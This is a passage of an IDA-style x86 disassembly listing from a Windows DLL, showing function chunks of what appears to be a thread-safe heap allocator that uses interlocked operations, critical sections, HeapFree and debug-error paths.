		push	dword ptr [esi+10h] ; hThread
		call	ds:ResumeThread	; ResumeThread


loc_69B2320A:				; CODE XREF: sub_69B231E3+1Cj
		mov	byte ptr [esi+1Ah], 0


loc_69B2320E:				; CODE XREF: sub_69B231E3+18j
		mov	esi, [esi+14h]
		jmp	short loc_69B231EF
sub_69B231E3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B18CB3


loc_69B23213:				; CODE XREF: sub_69B18CB3+566Ej
		sub	eax, 4
		mov	dword_69B9298C,	eax
		mov	eax, [eax]
		lea	esi, [eax+4]
		push	esi		; Target
		call	sub_69B18980
		and	eax, 0FFFFFFFDh
		mov	[esi], eax
		jmp	loc_69B1E316
; END OF FUNCTION CHUNK	FOR sub_69B18CB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1B0B5


loc_69B23230:				; CODE XREF: sub_69B1B0B5+15j
		mov	dword_69B92944,	offset sub_69B1E818
		mov	byte_69B929BD, bl
		jmp	loc_69B1B0D0
; END OF FUNCTION CHUNK	FOR sub_69B1B0B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B18C0C


loc_69B23245:				; CODE XREF: sub_69B18C0C+8j
		mov	ecx, dword_69B929B0
		sub	ecx, dword_69B929B4
		mov	eax, dword_69B92180
		cmp	ecx, eax
		jge	loc_69B18C1A
		cmp	dword_69B929B8,	eax
		jl	locret_69B18CAF
		jmp	loc_69B18C1A
; ---------------------------------------------------------------------------


loc_69B2326F:				; CODE XREF: sub_69B18C0C+67j
		mov	ecx, dword_69B96384
		cmp	ecx, Data
		jle	loc_69B18C9D
		mov	eax, dword_69B9295C
		xor	esi, esi
		jmp	short loc_69B23293
; ---------------------------------------------------------------------------


loc_69B2328A:				; CODE XREF: sub_69B18C0C+A689j
		cmp	[eax+30h], ebx
		jz	short loc_69B23290
		inc	esi


loc_69B23290:				; CODE XREF: sub_69B18C0C+A681j
		mov	eax, [eax+14h]


loc_69B23293:				; CODE XREF: sub_69B18C0C+A67Cj
		cmp	eax, ebx
		jnz	short loc_69B2328A
		add	dword_69B92180,	edx
		mov	eax, dword_69B92180
		cdq
		idiv	esi
		shl	eax, 1
		cmp	eax, ecx
		mov	Data, eax
		jle	loc_69B18C9D
		mov	Data, ecx
		imul	ecx, esi
		mov	dword_69B92180,	ecx
		jmp	loc_69B18C9D
; ---------------------------------------------------------------------------


loc_69B232C8:				; CODE XREF: sub_69B18C0C+79j
		mov	dword_69B929AC,	1
		call	sub_69B2DB17
		cmp	[esi+30h], ebx
		jnz	loc_69B18CA5
		cmp	dword_69B9B25C,	ebx
		jnz	loc_69B18CA5
		call	sub_69B2D9A7
		jmp	loc_69B18CA5
; END OF FUNCTION CHUNK	FOR sub_69B18C0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B19148


loc_69B232F6:				; CODE XREF: sub_69B19148+1Ej
		push	esi
		call	sub_69B1B580
		cmp	esi, dword_69B929A0
		jz	loc_69B1916C
		push	0
		call	sub_69B18C0C
		jmp	loc_69B1916C
; END OF FUNCTION CHUNK	FOR sub_69B19148
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B19118


loc_69B23314:				; CODE XREF: sub_69B19118+21j
		push	0
		call	sub_69B2DBE4
		jmp	loc_69B19144
; END OF FUNCTION CHUNK	FOR sub_69B19118
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B18169


loc_69B23320:				; CODE XREF: sub_69B18169+13j
		push	dwTlsIndex
		call	dword_69B92970
		push	eax
		push	0
		mov	ecx, esi
		call	sub_69B2DBE4
		jmp	loc_69B18189
; END OF FUNCTION CHUNK	FOR sub_69B18169
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B183E6


loc_69B2333B:				; CODE XREF: sub_69B183E6+24j
		and	ebx, 2
		or	eax, ebx
		mov	[esi+4], eax
		cmp	edi, dword_69B929A0
		jz	loc_69B18455
		push	0
		call	sub_69B18C0C
		jmp	loc_69B18455
; END OF FUNCTION CHUNK	FOR sub_69B183E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B183BB


loc_69B2335B:				; CODE XREF: sub_69B183BB+13j
		sub	ebx, 8
		mov	eax, ebx
		shr	eax, 3
		jnz	short loc_69B233C8
		push	esi
		push	dwTlsIndex
		call	dword_69B92970
		mov	esi, eax
		cmp	byte ptr [esi+20h], 0
		jz	short loc_69B233B4
		cmp	byte ptr [esi+21h], 0
		jz	short loc_69B2338C
		push	ebx
		mov	ecx, edi
		call	sub_69B18459
		test	eax, eax
		jnz	short loc_69B233B4


loc_69B2338C:				; CODE XREF: sub_69B183BB+AFC3j
		mov	eax, [esi+48h]
		cmp	eax, 200h
		jnb	short loc_69B233B4
		inc	eax
		mov	[esi+48h], eax
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+34h]
		dec	dword ptr [esi+48h]
		mov	eax, [edi]
		mov	ecx, edi
		mov	dword ptr [ebp+0], 7
		call	dword ptr [eax+18h]
		jmp	short loc_69B233C0
; ---------------------------------------------------------------------------


loc_69B233B4:				; CODE XREF: sub_69B183BB+AFBDj
					; sub_69B183BB+AFCFj ...
		push	esi
		and	ebx, 2
		push	ebx
		mov	ecx, edi
		call	sub_69B2DBE4


loc_69B233C0:				; CODE XREF: sub_69B183BB+AFF7j
		xor	eax, eax
		pop	esi
		jmp	loc_69B183E2
; ---------------------------------------------------------------------------


loc_69B233C8:				; CODE XREF: sub_69B183BB+AFA8j
		mov	[ebp+0], ebx
		jmp	loc_69B183E2
; END OF FUNCTION CHUNK	FOR sub_69B183BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1986C


loc_69B233D0:				; CODE XREF: sub_69B1986C+Bj
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		mov	ecx, [esi]
		mov	eax, [ecx]
		call	dword ptr [eax+14h]
		jmp	loc_69B1987D
; END OF FUNCTION CHUNK	FOR sub_69B1986C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1948C


loc_69B233E2:				; CODE XREF: sub_69B1948C+7j
		mov	eax, [ecx]
		call	dword ptr [eax+18h]
		mov	eax, [esi]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		and	dword ptr [esi], 0
		jmp	loc_69B19499
; END OF FUNCTION CHUNK	FOR sub_69B1948C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B18F8A


loc_69B233F7:				; CODE XREF: sub_69B18F8A+1Aj
		push	[esp+0Ch+dwMilliseconds] ; dwMilliseconds
		mov	ecx, esi
		call	sub_69B2DCDC
		jmp	loc_69B18FB2
; END OF FUNCTION CHUNK	FOR sub_69B18F8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B18BDC


loc_69B23407:				; CODE XREF: sub_69B18BDC+12j
					; sub_69B18BDC+1Dj
		push	[esp+8+dwMilliseconds] ; dwMilliseconds
		mov	ecx, esi
		call	sub_69B2DD83
		jmp	loc_69B18C06
; END OF FUNCTION CHUNK	FOR sub_69B18BDC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B18381


loc_69B23417:				; CODE XREF: sub_69B18381+1Bj
		mov	ecx, esi
		pop	esi
		jmp	sub_69B2DE1A
; END OF FUNCTION CHUNK	FOR sub_69B18381
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B18ED9


loc_69B2341F:				; CODE XREF: sub_69B18ED9+11j
		mov	ecx, esi
		pop	esi
		jmp	sub_69B2DE1A
; END OF FUNCTION CHUNK	FOR sub_69B18ED9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1AE5D


loc_69B23427:				; CODE XREF: sub_69B1AE5D+44j
		push	offset OutputString ; "System Error related to ShareMutex's Se"...
		call	ds:OutputDebugStringA	; OutputDebugStringA
		call	sub_69B2E925
		jmp	loc_69B1AEA7
; END OF FUNCTION CHUNK	FOR sub_69B1AE5D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1808E


loc_69B2343C:				; CODE XREF: sub_69B1808E+1Dj
		push	edi		; lpAddend
		mov	edi, ds:InterlockedDecrement
		call	edi ; InterlockedDecrement
		push	ebp		; lpAddend
		call	edi ; InterlockedDecrement
		cmp	dword ptr [esi+24h], 0
		jle	short loc_69B23455
		mov	ecx, esi
		call	sub_69B2DE1A


loc_69B23455:				; CODE XREF: sub_69B1808E+B3BEj
		xor	al, al
		jmp	loc_69B180B1
; END OF FUNCTION CHUNK	FOR sub_69B1808E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B18F67


loc_69B2345C:				; CODE XREF: sub_69B18F67+Bj
		mov	edi, ds:InterlockedIncrement
		lea	eax, [esi+10h]
		push	eax		; lpAddend
		call	edi ; InterlockedIncrement
		lea	eax, [esi+14h]
		push	eax		; lpAddend
		call	edi ; InterlockedIncrement
		jmp	loc_69B18F82
; END OF FUNCTION CHUNK	FOR sub_69B18F67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B18BC5


loc_69B23473:				; CODE XREF: sub_69B18BC5+7j
		add	ecx, 14h
		push	ecx		; lpAddend
		call	ds:InterlockedIncrement	; InterlockedIncrement
		jmp	locret_69B18BD9
; END OF FUNCTION CHUNK	FOR sub_69B18BC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B19B0D


loc_69B23482:				; CODE XREF: sub_69B19B0D+42j
		push	offset OutputString ; "System Error related to ShareMutex's Se"...
		call	ds:OutputDebugStringA	; OutputDebugStringA
		call	sub_69B2E925
		jmp	loc_69B19B55
; END OF FUNCTION CHUNK	FOR sub_69B19B0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B19AEC


loc_69B23497:				; CODE XREF: sub_69B19AEC+9j
		xor	eax, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_69B19AEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1B352


loc_69B2349A:				; CODE XREF: sub_69B1B352+9j
		xor	eax, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_69B1B352
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1BB5E


loc_69B2349D:				; CODE XREF: sub_69B1BB5E+9j
		xor	eax, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_69B1BB5E

; =============== S U B	R O U T	I N E =======================================



sub_69B234A0	proc near		; DATA XREF: .text:69B19AE4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
sub_69B234A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B234A9	proc near		; DATA XREF: .text:69B19AE8o
		mov	esp, [ebp-18h]
		xor	esi, esi
		xor	edi, edi
		jmp	loc_69B19AB6
sub_69B234A9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B19A23


loc_69B234B5:				; CODE XREF: sub_69B19A23+B1j
		xor	eax, eax
		jmp	loc_69B19AC9
; END OF FUNCTION CHUNK	FOR sub_69B19A23
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B18921


loc_69B234BC:				; CODE XREF: sub_69B18921+1Dj
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		jmp	locret_69B18944
; END OF FUNCTION CHUNK	FOR sub_69B18921
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1DC97


loc_69B234C8:				; CODE XREF: sub_69B1DC97+3Aj
		not	edi
		and	[esi+14h], edi
		dec	dword ptr [esi+0Ch]
		jmp	loc_69B1DCD7
; END OF FUNCTION CHUNK	FOR sub_69B1DC97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1C300


loc_69B234D5:				; CODE XREF: sub_69B1C300+38j
		push	esi
		mov	ecx, ebp
		call	sub_69B2E00B
		push	esi
		mov	ecx, ebp
		call	sub_69B2E085
		xor	eax, eax
		jmp	loc_69B1C349
; END OF FUNCTION CHUNK	FOR sub_69B1C300
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1DBFF


loc_69B234EC:				; CODE XREF: sub_69B1DBFF+26j
		cmp	[eax+10h], ecx
		jle	loc_69B1DC2B
		push	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	eax
		mov	ecx, esi
		call	sub_69B2E03C
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	short loc_69B23526
		push	[ebp+lpCriticalSection]	; lpCriticalSection
		mov	ebx, [esi+28h]
		call	ds:LeaveCriticalSection
		mov	edi, [ebp+var_4]


loc_69B23518:				; CODE XREF: sub_69B1DBFF+5961j
		mov	ecx, 800h
		xor	eax, eax
		rep stosd
		jmp	loc_69B1DC84
; ---------------------------------------------------------------------------


loc_69B23526:				; CODE XREF: sub_69B1DBFF+5908j
		xor	ecx, ecx
		jmp	loc_69B1DC2B
; ---------------------------------------------------------------------------


loc_69B2352D:				; CODE XREF: sub_69B1DBFF+31j
					; sub_69B1DBFF+5938j
		cmp	[ebx+10h], ecx
		jnz	short loc_69B23539
		mov	ebx, [ebx+8]
		cmp	ebx, ecx
		jnz	short loc_69B2352D


loc_69B23539:				; CODE XREF: sub_69B1DBFF+5931j
		cmp	ebx, ecx
		jz	loc_69B1DC36
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_69B2E03C
		mov	edi, eax
		test	edi, edi
		mov	[ebp+var_4], edi
		jz	short loc_69B23562
		push	[ebp+lpCriticalSection]	; lpCriticalSection
		call	ds:LeaveCriticalSection
		jmp	short loc_69B23518
; ---------------------------------------------------------------------------


loc_69B23562:				; CODE XREF: sub_69B1DBFF+5956j
		and	[ebp+var_4], 0
		xor	ebx, ebx
		jmp	loc_69B1DC84
; ---------------------------------------------------------------------------


loc_69B2356D:				; CODE XREF: sub_69B1DBFF+3Cj
					; sub_69B1DBFF+5979j
		cmp	dword ptr [ebx+0Ch], 10h
		jb	short loc_69B2357A
		mov	ebx, [ebx+8]
		cmp	ebx, ecx
		jnz	short loc_69B2356D


loc_69B2357A:				; CODE XREF: sub_69B1DBFF+5972j
		cmp	ebx, ecx
		jz	loc_69B1DC41
		push	ebx
		mov	ecx, esi
		call	sub_69B1DC97
		mov	[ebp+var_4], eax
		jmp	loc_69B1DC7B
; ---------------------------------------------------------------------------


loc_69B23592:				; CODE XREF: sub_69B1DBFF+73j
		mov	[eax+4], ebx
		jmp	loc_69B1DC78
; END OF FUNCTION CHUNK	FOR sub_69B1DBFF

; =============== S U B	R O U T	I N E =======================================



sub_69B2359A	proc near		; DATA XREF: .text:69B1DA64o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
sub_69B2359A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B235A3	proc near		; DATA XREF: .text:69B1DA68o
		mov	esp, [ebp-18h]
		lea	ecx, [ebp-1Ch]
		call	sub_69B1900C
		call	sub_69B2E860
		jmp	loc_69B1DA30
sub_69B235A3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B120A4


loc_69B235B8:				; CODE XREF: sub_69B120A4+9j
		mov	eax, esi
		mov	ecx, [eax]
		mov	esi, [esi+60h]
		push	eax
		call	dword ptr [ecx+8]
		jmp	loc_69B120AB
; END OF FUNCTION CHUNK	FOR sub_69B120A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1DB3A


loc_69B235C8:				; CODE XREF: sub_69B1DB3A+16j
		mov	esi, [edx+1Ch]
		mov	eax, [esi+4]
		mov	[edx+1Ch], eax
		mov	ecx, [edi+44h]
		push	ebx
		mov	ebx, ecx
		shr	ecx, 2
		xor	eax, eax
		mov	edi, esi
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb
		pop	ebx
		jmp	loc_69B1DB5C
; END OF FUNCTION CHUNK	FOR sub_69B1DB3A

; =============== S U B	R O U T	I N E =======================================



sub_69B235ED	proc near		; DATA XREF: .text:69B1DBC4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
sub_69B235ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B235F6	proc near		; DATA XREF: .text:69B1DBC8o
		mov	esp, [ebp-18h]
		mov	eax, [ebp-1Ch]
		push	eax		; lpCriticalSection
		push	dword ptr [ebp-20h] ; int
		mov	ecx, [eax+18h]
		call	sub_69B2E0D4
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	loc_69B1DBB5
sub_69B235F6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1D908


loc_69B23611:				; CODE XREF: sub_69B1D908+36j
		push	8
		pop	edi
		jmp	loc_69B1D944
; END OF FUNCTION CHUNK	FOR sub_69B1D908
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1D8D5


loc_69B23619:				; CODE XREF: sub_69B1D8D5+Cj
		push	dword_69B929E8
		lea	ecx, [ebp+var_4]
		call	sub_69B18E23
		mov	esi, dword_69B929F4
		test	esi, esi
		lea	ecx, [ebp+var_4]
		jz	short loc_69B2364C
		mov	eax, [esi+60h]
		mov	dword_69B929F4,	eax
		and	dword ptr [esi+60h], 0
		call	sub_69B1900C
		mov	eax, esi
		jmp	loc_69B1D8FF
; ---------------------------------------------------------------------------


loc_69B2364C:				; CODE XREF: sub_69B1D8D5+5D5Dj
		call	sub_69B1900C
		jmp	loc_69B1D8E7
; END OF FUNCTION CHUNK	FOR sub_69B1D8D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1DAD9


loc_69B23656:				; CODE XREF: sub_69B1DAD9+Bj
		push	edi
		push	0		; Value
		push	eax		; Target
		call	ds:InterlockedExchange	; InterlockedExchange
		mov	ecx, [ebx+44h]
		mov	esi, ecx
		mov	ebp, eax
		mov	edx, [ebp+4]
		shr	ecx, 2
		xor	eax, eax
		mov	edi, ebp
		rep stosd
		mov	ecx, esi
		and	ecx, 3
		test	edx, edx
		rep stosb
		pop	edi
		jz	loc_69B1DB2A


loc_69B23683:				; CODE XREF: sub_69B1DAD9+5BB9j
		mov	esi, [edx+4]
		push	edx
		mov	ecx, ebx
		call	sub_69B2E2CA
		test	esi, esi
		mov	edx, esi
		jnz	short loc_69B23683
		jmp	loc_69B1DB2A
; ---------------------------------------------------------------------------


loc_69B23699:				; CODE XREF: sub_69B1DAD9+16j
		cmp	dword ptr [esi+14h], 0
		jle	short loc_69B236B1
		push	ebx
		mov	ecx, esi
		call	sub_69B1DB3A
		mov	ebp, eax
		test	ebp, ebp
		jnz	loc_69B1DB27


loc_69B236B1:				; CODE XREF: sub_69B1DAD9+5BC4j
		mov	esi, [esi+10h]
		jmp	loc_69B1DAED
; ---------------------------------------------------------------------------


loc_69B236B9:				; CODE XREF: sub_69B1DAD9+5Cj
		cmp	dword ptr [esi+14h], 0
		jle	short loc_69B236D1
		push	ebx
		mov	ecx, esi
		call	sub_69B1DB3A
		mov	ebp, eax
		test	ebp, ebp
		jnz	loc_69B1DB27


loc_69B236D1:				; CODE XREF: sub_69B1DAD9+5BE4j
		mov	esi, [esi+10h]
		jmp	loc_69B1DAF8
; ---------------------------------------------------------------------------


loc_69B236D9:				; CODE XREF: sub_69B1DAD9+45j
		mov	[eax+0Ch], esi
		jmp	loc_69B1DB24
; END OF FUNCTION CHUNK	FOR sub_69B1DAD9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1129D


loc_69B236E1:				; CODE XREF: sub_69B1129D+7j
		push	[esp+arg_0]
		call	sub_69B2D42E
		jmp	loc_69B112B1
; END OF FUNCTION CHUNK	FOR sub_69B1129D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B182B8


loc_69B236EF:				; CODE XREF: sub_69B182B8+8Dj
		mov	ecx, [ebp+arg_0]
		call	sub_69B18381


loc_69B236F7:				; CODE XREF: sub_69B182B8+71j
		mov	edi, [ebp+arg_4]
		mov	dword ptr [edi+4], 0FFFFFFEh


loc_69B23701:				; CODE XREF: sub_69B182B8+397Bj
		lea	ebx, [esi+2030h]


loc_69B23707:				; CODE XREF: sub_69B182B8+B45Ej
		mov	esi, [ebx]
		push	esi
		push	edi
		push	ebx
		mov	[edi], esi
		call	dword_69B92950	; InterlockedCompareExchange
		cmp	eax, esi
		jnz	short loc_69B23707
		jmp	loc_69B1BC6B
; ---------------------------------------------------------------------------


loc_69B2371D:				; CODE XREF: sub_69B182B8+398Bj
		sub	edi, 4
		jmp	loc_69B1BC49
; END OF FUNCTION CHUNK	FOR sub_69B182B8

; =============== S U B	R O U T	I N E =======================================



sub_69B23725	proc near		; CODE XREF: sub_69B120DB+1Dj
		push	ebx


loc_69B23726:				; CODE XREF: sub_69B23725+80j
		mov	eax, [esi]
		inc	dword ptr [edi+206Ch]
		mov	[ebp+8], eax
		mov	eax, [esi+4]
		cmp	eax, 0FFFFFFEh
		jnz	short loc_69B23785
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-8]
		push	eax
		lea	ebx, [edi+4]
		push	esi
		push	ebx
		call	sub_69B11E93
		xor	edx, edx
		add	esp, 10h
		cmp	eax, edx
		jz	short loc_69B23768
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_69B1872D
		add	esp, 10h
		jmp	short loc_69B237A0
; ---------------------------------------------------------------------------


loc_69B23768:				; CODE XREF: sub_69B23725+2Fj
		mov	ecx, [esi]
		cmp	dword_69B92940,	edx
		lea	eax, [esi-8]
		push	eax		; lpMem
		mov	[ebp+8], ecx
		mov	ecx, [edi]
		push	edx		; dwFlags
		push	ecx		; hHeap


loc_69B2377B:				; CODE XREF: sub_69B23725+74j
		jnz	short loc_69B2379B
		call	ds:HeapFree
		jmp	short loc_69B237A0
; ---------------------------------------------------------------------------


loc_69B23785:				; CODE XREF: sub_69B23725+14j
		test	eax, eax
		jns	short loc_69B2378C
		add	esi, 0FFFFFFFCh


loc_69B2378C:				; CODE XREF: sub_69B23725+62j
		mov	eax, [edi]
		cmp	dword_69B92940,	0
		push	esi		; lpMem
		push	0		; int
		push	eax		; hHeap
		jmp	short loc_69B2377B
; ---------------------------------------------------------------------------


loc_69B2379B:				; CODE XREF: sub_69B23725:loc_69B2377Bj
		call	sub_69B2D4AB


loc_69B237A0:				; CODE XREF: sub_69B23725+41j
					; sub_69B23725+5Ej
		mov	esi, [ebp+8]
		test	esi, esi
		jnz	loc_69B23726
		pop	ebx
		jmp	loc_69B120FE
sub_69B23725	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B17F72


loc_69B237B1:				; CODE XREF: sub_69B17F72+56j
		mov	[ebp+arg_0], edx
		mov	[eax+4Ch], edx
		mov	ecx, edx
		jmp	loc_69B17FCE
; ---------------------------------------------------------------------------


loc_69B237BE:				; CODE XREF: sub_69B17F72+79j
		push	edx		; Value
		push	eax		; Target
		call	ds:InterlockedExchange	; InterlockedExchange
		mov	edx, eax
		test	edx, edx
		jnz	short loc_69B237F7
		jmp	loc_69B17FF1
; ---------------------------------------------------------------------------


loc_69B237D1:				; CODE XREF: sub_69B17F72+8Cj
		inc	[ebp+arg_0]
		mov	eax, [ebp+arg_0]
		add	esi, 2270h
		cmp	eax, [ebx]
		jnz	short loc_69B237E8
		and	[ebp+arg_0], 0
		lea	esi, [ebx+10h]


loc_69B237E8:				; CODE XREF: sub_69B17F72+B86Dj
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_C]
		jz	short loc_69B2382E
		xor	edx, edx
		jmp	loc_69B17FD8
; ---------------------------------------------------------------------------


loc_69B237F7:				; CODE XREF: sub_69B17F72+B858j
		inc	dword ptr [esi+2064h]
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_69B23819
		mov	ecx, [ebp+arg_8]
		mov	esi, ecx
		shr	ecx, 2
		xor	eax, eax
		lea	edi, [edx+8]
		rep stosd
		mov	ecx, esi
		and	ecx, 3
		rep stosb


loc_69B23819:				; CODE XREF: sub_69B17F72+B88Fj
		mov	eax, [ebp+var_8]
		test	eax, eax
		jz	short loc_69B23826
		mov	ecx, [ebp+arg_0]
		mov	[eax+4Ch], ecx


loc_69B23826:				; CODE XREF: sub_69B17F72+B8ACj
		lea	eax, [edx+8]
		jmp	loc_69B18087
; ---------------------------------------------------------------------------


loc_69B2382E:				; CODE XREF: sub_69B17F72+B87Cj
		push	0FFFFFFFFh	; dwMilliseconds
		lea	ecx, [esi+2034h]
		call	sub_69B18F8A
		jmp	loc_69B18004
; ---------------------------------------------------------------------------


loc_69B23840:				; CODE XREF: sub_69B17F72+A0j
		push	esi
		call	sub_69B120DB
		jmp	loc_69B18018
; ---------------------------------------------------------------------------


loc_69B2384B:				; CODE XREF: sub_69B17F72+339Fj
		add	ebx, 4
		or	byte ptr [ebp+var_4+3],	80h
		jmp	loc_69B1B317
; END OF FUNCTION CHUNK	FOR sub_69B17F72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1AC42


loc_69B23857:				; CODE XREF: sub_69B1AC42+Cj
		push	57h		; dwErrCode
		call	ds:SetLastError
		xor	eax, eax
		jmp	loc_69B1AD3E
; ---------------------------------------------------------------------------


loc_69B23866:				; CODE XREF: sub_69B1AC42+77j
		push	8		; dwErrCode
		call	ds:SetLastError
		push	edi		; hHeap
		call	ds:HeapDestroy	; HeapDestroy
		jmp	loc_69B1AD4D
; ---------------------------------------------------------------------------


loc_69B2387A:				; CODE XREF: sub_69B1AC42+CBj
		call	ds:GetLastError
		push	esi
		mov	edi, eax
		call	sub_69B1ADE2
		push	edi		; dwErrCode
		call	ds:SetLastError
		jmp	loc_69B1AD4D
; END OF FUNCTION CHUNK	FOR sub_69B1AC42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1ABFE


loc_69B23894:				; CODE XREF: sub_69B1ABFE+33j
		mov	dword_69B949FC,	4
		jmp	loc_69B1AC37
; END OF FUNCTION CHUNK	FOR sub_69B1ABFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B19E4E


loc_69B238A3:				; CODE XREF: sub_69B19E4E+13j
		call	sub_69B2D461
		retn
; END OF FUNCTION CHUNK	FOR sub_69B19E4E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1B532


loc_69B238A9:				; CODE XREF: sub_69B1B532+13j
		call	sub_69B2D4AB
		retn
; END OF FUNCTION CHUNK	FOR sub_69B1B532
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B19DB4


loc_69B238AF:				; CODE XREF: sub_69B19DB4-812Ej
					; sub_69B19DB4+8Fj
		mov	ecx, dword_69B929E4
		test	ecx, ecx
		jz	short loc_69B238BE
		call	sub_69B18381


loc_69B238BE:				; CODE XREF: sub_69B19DB4+9B03j
		call	sub_69B2E87C
		jmp	loc_69B19E2D
; END OF FUNCTION CHUNK	FOR sub_69B19DB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1B1F3


loc_69B238C8:				; CODE XREF: sub_69B1B1F3+33j
		call	ds:DebugBreak	; DebugBreak
		jmp	loc_69B1B22C
; ---------------------------------------------------------------------------


loc_69B238D3:				; CODE XREF: sub_69B1B1F3-5j
		push	edi		; lpMem
		call	sub_69B1B532
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0
		pop	ecx
		jmp	loc_69B1B272
; END OF FUNCTION CHUNK	FOR sub_69B1B1F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B11E93


loc_69B238E5:				; CODE XREF: sub_69B11E93+46j
		call	ds:DebugBreak	; DebugBreak
		jmp	loc_69B11EDF
; END OF FUNCTION CHUNK	FOR sub_69B11E93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1BC7A


loc_69B238F0:				; CODE XREF: sub_69B1BC7A+23j
		add	eax, ebx
		cmp	byte ptr [eax],	0
		jz	short loc_69B238F9
		mov	esi, eax


loc_69B238F9:				; CODE XREF: sub_69B1BC7A+7C7Bj
		lea	eax, [esi+edx]
		cmp	eax, edi
		jnb	short loc_69B2393F


loc_69B23900:				; CODE XREF: sub_69B1BC7A+7CC3j
		mov	al, [esi]
		test	al, al
		jnz	short loc_69B23932
		xor	eax, eax
		lea	edi, [esi+1]
		inc	eax
		jmp	short loc_69B23910
; ---------------------------------------------------------------------------


loc_69B2390E:				; CODE XREF: sub_69B1BC7A+7C99j
		inc	edi
		inc	eax


loc_69B23910:				; CODE XREF: sub_69B1BC7A+7C92j
		cmp	byte ptr [edi],	0
		jz	short loc_69B2390E
		cmp	eax, edx
		jnb	short loc_69B23944
		cmp	esi, [ebp+var_4]
		jnz	short loc_69B23923
		mov	[ecx+0Ch], eax
		jmp	short loc_69B2392B
; ---------------------------------------------------------------------------


loc_69B23923:				; CODE XREF: sub_69B1BC7A+7CA2j
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_69B2398C


loc_69B2392B:				; CODE XREF: sub_69B1BC7A+7CA7j
		mov	ebx, [ebp+var_4]
		mov	esi, edi
		jmp	short loc_69B23937
; ---------------------------------------------------------------------------


loc_69B23932:				; CODE XREF: sub_69B1BC7A+7C8Aj
